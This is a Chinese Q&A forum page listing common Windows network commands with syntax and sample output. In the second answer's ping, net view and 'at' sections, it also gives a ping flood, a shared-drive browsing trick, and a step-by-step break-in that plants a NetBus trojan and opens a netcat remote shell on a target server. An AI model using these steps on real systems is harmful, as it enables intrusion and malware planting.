我现在想搞网络开发,想知道最经常使用的网络命令有哪些?

我现在要搞网络开发,想知道最经常使用的网络命令有哪些?越详细越好!

1、ARP: 显示和修改IP地址与物理地址之间的转换表
ARP -s inet_addr eth_addr [if_addr]
ARP -d inet_addr [if_addr]
ARP -a [inet_addr] [-N if_addr]
-a 显示当前的ARP信息,可以指定网络地址
-g 跟 -a一样.
-d 删除由inet_addr指定的主机.可以使用* 来删除所有主机.
-s 添加主机,并将网络地址跟物理地址相对应,这一项是永久生效的。
eth_addr 物理地址.
if_addr If present, this specifies the Internet address of the
interface whose address translation table should be modified.
If not present, the first applicable interface will be used.
例子:
C:\>arp –a (显示当前所有的表项)
Interface: 10.111.142.71 on Interface 0x1000003
Internet Address Physical Address Type
10.111.142.1 00-01-f4-0c-8e-3b dynamic //物理地址一般为48位即6个字节
10.111.142.112 52-54-ab-21-6a-0e dynamic
10.111.142.253 52-54-ab-1b-6b-0a dynamic
C:\>arp -a 10.111.142.71(只显示其中一项)
No ARP Entries Found

C:\>arp -a 10.111.142.1(只显示其中一项)
Interface: 10.111.142.71 on Interface 0x1000003
Internet Address Physical Address Type
10.111.142.1 00-01-f4-0c-8e-3b dynamic
C:\>arp -s 157.55.85.212 00-aa-00-62-c6-09 添加,可以再打入arp –a 验证是否已经加入.

2、ftp:(功能就不用描述了,请参看下面的具体用法)
该命令只有在安装了 TCP/IP 协议之后才可用。Ftp 是一种服务,一旦启动,将创建在其中可以使用 ftp 命令的子环境,通过键入 quit 子命令可以从子环境返回到 Windows 2000 命令提示符。当 ftp 子环境运行时,它由 ftp 命令提示符代表。
ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]
参数
-v 禁止显示远程服务器响应。
-n 禁止自动登录到初始连接。
-I 多个文件传送时关闭交互提示。
-d 启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。
-g 禁用文件名组,它允许在本地文件和路径名中使用通配符字符(* 和 ?)。(请参阅联机“命令参考”中的 glob 命令。)
-s: filename指定包含 ftp 命令的文本文件;当 ftp 启动后,这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (>)。
-a 在捆绑数据连接时使用任何本地接口。
-w:windowsize 替代默认大小为 4096 的传送缓冲区。
Computer 指定要连接到远程计算机的计算机名或 IP 地址。如果指定,计算机必须是行的最后一个参数。
下面是一些常用命令:
!: 从ftp子系统退出到系统外壳
?:显示ftp说明,跟help一样
append: 添加文件,格式为:append 本地文件 远程文件
cd: 更换远程目录
lcd: 更换本地目录,若无参数,将显示当前目录
open:与指定的ftp服务器连接 open computer [port]
close:结束与远程服务器的 FTP 会话并返回命令解释程序
bye:结束与远程计算机的 FTP 会话并退出 ftp
dir: 结束与远程计算机的 FTP 会话并退出 ftp
get 和 recv:使用当前文件转换类型将远程文件复制到本地计算机 get remote-file [local-file]
send 和 put:上传文件:send local-file [remote-file]
其它命令请参考帮助文件。
例子:
C:\>ftp
ftp> open ftp.zju.edu.cn
Connected to alpha800.zju.edu.cn.
220 ProFTPD 1.2.0pre9 Server (浙江大学自由软件服务器) [alpha800.zju.edu.cn]
User (alpha800.zju.edu.cn:(none)): anonymous
331 Anonymous login ok, send your complete e-mail address as password.
Password:
230 Anonymous access granted, restrictions apply.
ftp> dir //查看本目录下的内容:

ftp> cd pub //切换目录
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for file list.

ftp> cd microsoft
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
-rw-r--r-- 1 ftp ftp 288632 Dec 8 1999 chargeni.exe
226 Transfer complete.
ftp: 69 bytes received in 0.01Seconds 6.90Kbytes/sec.
ftp> lcd e:\ //本地目录切换
Local directory now E:\.
ftp> get chargeni.exe //下载文件
200 PORT command successful.
150 Opening ASCII mode data connection for chargeni.exe (288632 bytes).
226 Transfer complete.
ftp: 289739 bytes received in 0.36Seconds 802.60Kbytes/sec.
ftp> bye //离开
221 Goodbye.

3、Ipconfig
该诊断命令显示所有当前的 TCP/IP 网络配置值。该命令在运行 DHCP 系统上的特殊用途,允许用户决定 DHCP 配置的 TCP/IP 配置值。
ipconfig [/? | /all | /release [adapter] | /renew [adapter]
| /flushdns | /registerdns
| /showclassid adapter
| /setclassid adapter [classidtoset] ]
/all 产生完整显示。在没有该开关的情况下 ipconfig 只显示 IP 地址、子网掩码和每个网卡的默认网关值。
例如:
C:\>ipconfig
Windows 2000 IP Configuration
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.111.142.71 //IP地址
Subnet Mask . . . . . . . . . . . : 255.255.255.0 //子网掩码
Default Gateway . . . . . . . . . : 10.111.142.1 //缺省网关
C:\>ipconfig /displaydns //显示本机上的DNS域名解析列表
C:\>ipconfig /flushdns //删除本机上的DNS域名解析列表

4、Nbtstat.exe
该诊断命令使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。该命令只有在安装了 TCP/IP 协议之后才可用。
nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]

参数
-a remotename 使用远程计算机的名称列出其名称表。
-A IP address 使用远程计算机的 IP 地址并列出名称表。
-c 给定每个名称的 IP 地址并列出 NetBIOS 名称缓存的内容。
-n 列出本地 NetBIOS 名称。“已注册”表明该名称已被广播 (Bnode) 或者 WINS(其他节点类型)注册。
-R 清除 NetBIOS 名称缓存中的所有名称后,重新装入 Lmhosts 文件。
-r 列出 Windows 网络名称解析的名称解析统计。在配置使用 WINS 的 Windows 2000 计算机上,此选项返回要通过广播或 WINS 来解析和注册的名称数。
-S 显示客户端和服务器会话,只通过 IP 地址列出远程计算机。
-s 显示客户端和服务器会话。尝试将远程计算机 IP 地址转换成使用主机文件的名称。
interval重新显示选中的统计,在每个显示之间暂停 interval 秒。按 CTRL+C 停止重新显示统计信息。如果省略该参数,nbtstat 打印一次当前的配置信息。
例子:
C:\>nbtstat –A 周围主机的ip地址
C:\>nbtstat –c
C:\>nbtstat –n
C:\>nbtstat -S
本地连接:
Node IpAddress: [10.111.142.71] Scope Id: []
NetBIOS Connection Table
Local Name State In/Out Remote Host Input Output
JJY <03> Listening
另外可以加上间隔时间,以秒为单位

5、net:
许多 Windows 2000 网络命令都以词 net 开头。这些 net 命令有一些公用属性:
键入 net /? 可以看到所有可用的 net 命令的列表。
键入 net help command,可以在命令行获得 net 命令的语法帮助。例如,关于 net accounts 命令的帮助信息,请键入 net help accounts。
所有 net 命令都接受 /yes 和 /no 选项(可以缩写为 /y 和 /n)。/y 选项向命令产生的任何交互式提示自动回答“是”,而 /n 回答“否”。例如,net stop server 通常提示您确认要停止基于“服务器”服务的所有服务;而 net stop server /y 对该提示自动回答“是”,然后“服务器”服务关闭。
例如:
Net send:(可能许多人已经用过,或者感到厌烦,索性把服务给关了)
将消息发送到网络上的其他用户、计算机或消息名。必须运行信使服务以接收邮件。
net send {name | * | /domain[:name] | /usersmessage}
Net stop:停止 Windows 2000 网络服务。
net stop service
例如:C:\>net stop messenger
Messenger 服务正在停止.
Messenger 服务已成功停止。
此时再打入net send 本机名 消息,就没用了;相应的,要打开这个服务,只需把stop改为start,就可以了。
Net start FTP Publishing Service
启动 FTP 发布服务。该命令只有在安装了 Internet 信息服务后才可用。
net start "ftp publishing service"
类似的命令有很多,请参考帮助文件。

6、Netstat.exe
显示协议统计和当前的 TCP/IP 网络连接。该命令只有在安装了 TCP/IP 协议后才可以使用。
netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]
参数
-a 显示所有连接和侦听端口。服务器连接通常不显示。
-e 显示以太网统计。该参数可以与 -s 选项结合使用。
-n 以数字格式显示地址和端口号(而不是尝试查找名称)。
-s 显示每个协议的统计。默认情况下,显示 TCP、UDP、ICMP 和 IP 的统计。-p 选项可以用来指定默认的子集。
-p protocol 显示由 protocol 指定的协议的连接;protocol 可以是 tcp 或 udp。如果与 -s 选项一同使用显示每个协议的统计,protocol 可以是 tcp、udp、icmp 或 ip。
-r 显示路由表的内容。
Interval 重新显示所选的统计,在每次显示之间暂停 interval 秒。按 CTRL+B 停止重新显示统计。如果省略该参数,netstat 将打印一次当前的配置信息。
例如:
C:\>netstat -as
IP Statistics
Packets Received = 256325

ICMP Statistics
Received Sent
Messages 16 68

TCP Statistics

Segments Received = 41828
UDP Statistics
Datagrams Received = 82401


............................................................................

参考资料:http://hi.baidu.com/nudacle/blog

温馨提示:答案为网友推荐,仅供参考
第1个回答  2008-05-23
1. ping:这是TCP/IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping 〔-t〕 〔-a〕 〔-n count〕 〔-l size〕 〔-f〕 〔-i TTL〕 〔-v TOS〕
〔-r count〕 〔-s count〕 〔〔-j host-list〕 〔-k host-list〕〕
〔-w timeout〕 destination-list

Options:
-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)
-a Resolve addresses to hostnames.(把IP转为主机名)
-n count Number of echo requests to send.(响应请求的数量)
-l size Send buffer size.(封包的大小)
-f Set Don't Fragment flag in packet.(信息包中无碎片)
-i TTL Time To Live.(时间)
-v TOS Type Of Service.(服务类型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)
比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
其实这个命令主要是用来看对方应答的速度,如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。
2. winipcfg:
这是用来看自己IP位址的小工具,win98自带,NT里则网络监视器里就能看到IP了,还有个小实用程序叫……好象是叫IPCONFIG吧,没怎么用,都快忘了……这种东东网上其实相当之多,但既然“自带”,又何须外求,何况网上下载的黑客的东东里有没有特洛伊犹未可知,再说了,如果你不是在自己的“爱姬”上运行,岂不是就没法干活?——哈,不好意思,跑题了,但——接着跑两句:可以把一些常用的、经典的工具上传到网上,当作一个备份,什么时候在网吧、某家公司要干活的话,直接下载就是一个完整无缺的工具包了。
这个东东相当简单,直接在DOS下键入命令就是了,没有什么参数。
3. tracert:是验证通往远程主机路径的实用程序
用法: tracert 〔-d〕 〔-h maximum_hops〕 〔-j host-list〕 〔-w timeout〕 target_name

参数:
-d Do not resolve addresses to hostnames.(不将IP转为主机名)
-h maximum_hops Maximum number of hops to search for target.(最大跟踪数量)
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.(time out 的时间)

最简单的用法就是 tracert hostname 其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址,你知道该怎么利用它吗?

我略为解释一下吧:跟踪通往210.142.192.130的路由,最大30:
第一行:*&^%&* 我就是从这里出去的(呵,真不想说^&^)
第四行:是不是快要出国了呢?
第九行:呀!这是日本鬼子的地盘……

4. net:这可是个非常棒的东西,如果不会用的话,赶紧睁大眼睛噢

这个命令的语法是: 可用的命令包括:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW

NET HELP SERVICES 列出用户可以启动的网络服务。
NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。
NET HELP command MORE 用于逐屏显示帮助。

我可就不逐样解释了——这样会把我的手指累坏,就说说常用的两个命令吧

a.net view

这个命令的语法是:NET VIEW 〔computername /DOMAIN〔:domainname〕〕
NET VIEW /NETWORK:NW 〔computername〕

NET VIEW 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,
它就会显示当前域或网络上的计算机上的列表。

computername 指用户希望浏览其共享资源的计算机。
/DOMAIN:domainname 指定用户希望浏览有效的计算机所在的域。如果省略了域名,
就会显示局域网络上的所有域。
/NETWORK:NW 显示 NetWare 网络上所有可用的服务器。如果指定了一个计算
机名,就会显示NetWare 网络中那个计算机上的可用资源。

至于举例嘛,比如你知道一个远程计算机***.***.**.***上有开资源共享,那么运行
net view ***.***.**.*** 就可以了

b.net use

这个命令的语法是:NET USE 〔devicename *〕 〔computernamesharename〔volume〕 〔password *〕〕
〔/USER:〔domainname〕username〕
〔〔/DELETE〕 〔/PERSISTENT:{YES NO}〕〕

NET USE 〔devicename *〕 〔password *〕〕 〔/HOME〕

NET USE 〔/PERSISTENT:{YES NO}〕

NET USE 用于将计算机与共享的资源相连接,或者切断计算机与共享资源的
连接。当不带选项使用本命令时,它会列出计算机的连接。

devicename 指定一个名字以便与资源相连接,或者指定要切断的设备。有两种类型
的设备名:磁盘驱动器 (D: 至 Z:) 和打印机 (LPT1: 至 LPT3:)。输入
一个星号来代替一个指定的设备名可以分配下一个可用设备名。

computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符,
就要将双反斜线 () 和计算机名一起用引号 (" ")括起来。计算机名
可以有1 到15 个 字符。

sharename 指共享资源的网络名字。
volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware 的客户服务
(Windows NT 工作站) 或者 Netware 的网关服务 (Windows NT 服务
器) 并使之与NetWare 服务器相连。
password 指访问共享资源所需要的密码。

* 进行密码提示。当在密码提示符下输入密码时,密码是不会显示的。
/USER 指定连接时的一个不同的用户名。
domainname 指定另外一个域。如果缺省域,就会使用当前登录的域。
username 指定登录的用户名。
/HOME 将用户与他们的宿主目录相连。
/DELETE 取消一个网络连接,并且从永久连接列表中删除该连接。
/PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。
YES 在连接产生时保存它们,并在下次登录时恢复它们。
NO 不保存正在产生的连接或后续的连接;现有的连接将在下次登录时被
恢复。可以使用 /DELETE 选项开关来删除永久连接。

PS:前两天在绿色兵团的贴子里见到一位仁兄的话,与这个命令有异曲共工之妙,也说明一个大概:
在浏览器中输入 file:///***.***.**.***c¥

则网上共享的C盘内容就会显示出来了,就仿佛用浏览器上FTP站点看到的一样。各位不妨试试,还可试试举一反三……

5.at: 排定在特定的日期和时间运行某些命令和程序。

运行 AT 命令之前必须先启动 Schedule 服务。瞧,现炒就得现卖,刚学了net命令,但这个start命令我可没详述,自已看看帮助文件,摸索一下各种命令的用法吧。

C:》net start schedule
Schedule 正在启动服务.....
Schedulw 服务启动成功。

AT 〔computername〕 〔 〔id〕 〔/DELETE〕 /DELETE 〔/YES〕〕
AT 〔computername〕 time 〔/INTERACTIVE〕
〔 /EVERY:date〔,...〕 /NEXT:date〔,...〕〕 "command"

computername 指定远程计算机。 如果省略这个参数
命令会被排定在本机上运行。
id 指定给排定进度命令的识别号。

/delete 删除某个已排定进度的命令。如果省略标识,计算机上所有已排定进度的
命令都会被删除。
/yes 用于删除所有作业,且不想在运行删除时显示确认
信息 。
time 指定命令运行的时间。
/interactive 允许作业在运行时,与用户通过桌面交互。

/every:date〔,...〕 指定在每周或每月的某日 (或某几日) 运行命令。
如果省略日期,则默认为在每月的本日运行。

/next:date〔,...〕 指定在下一个指定日期 (如,下周三),运行命令。
如果省略日期,则默认为在每月的本日运行。

"command" 准备运行的 Windows NT 命令或批处理文件。

知道了如何使用AT,再来看看如何在远程NT上运行ntsrv.exe:
1 利用管理员登陆到目的服务器,方法为: net use x.x.x.xipc¥ "adminpwd" /user:"adminuser"(这里具体方法可参见KILLUSA的文章《HOW TO GET IN NT》)
2 利用ntsrv.exe启动远程: netsvc x.x.x.x schedule /start
3 利用AT.EXE在远程服务器设置程序定时运行,当然最快运行最理想,所以,你可以用letmein.exe得到服务器的时间,然后:
at x.x.x.x 00:00 ntsrv.exe /port:64321
其中00:00要改为用letmein.exe得回来的具体时间+一点容量,等一会后,再在本地启动netbus.exe,键入目的服务器得ip地址或hostname,连接!比如第一种方法,你想要在目的服务器运行诸如病毒之类的东东,可以利用netbus得上传功能,将各种“大补丸”上传至目的服务器,再用netbus的"Start program",键入完整路径,就ok了!第二种方法是利用netbus的“App redirect”功能,启动远程telnet服务,如下:在netbus中击“App redirect”,键入"C:》winntsystem32cmd.exe",Port为:4321,服务就启动了,然后在本地运行:nc x.x.x.x 4321,出现dos启动的画面就表示连接成功:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:》
注:这里有一小段是抄KILLUSA的文章——别找我要稿费啊^&^

6.netstat 这是一个观察网络连接状态的实用工具。

它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:

Displays protocol statistics and current TCP/IP network connections.(显示协议与当前网络连接)

NETSTAT 〔-a〕 〔-e〕 〔-n〕 〔-s〕 〔-p proto〕 〔-r〕 〔interval〕

-a Displays all connections and listening ports.(显示所有连接和监听端口)
-e Displays Ethernet statistics. This may be combined with the -s
option.(显示以太连接,可以与-s连用)
-n Displays addresses and port numbers in numeri
第2个回答  2008-05-23
这个命令的语法是: 可用的命令包括:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
第3个回答  2008-05-23
一楼够强。好。
相似回答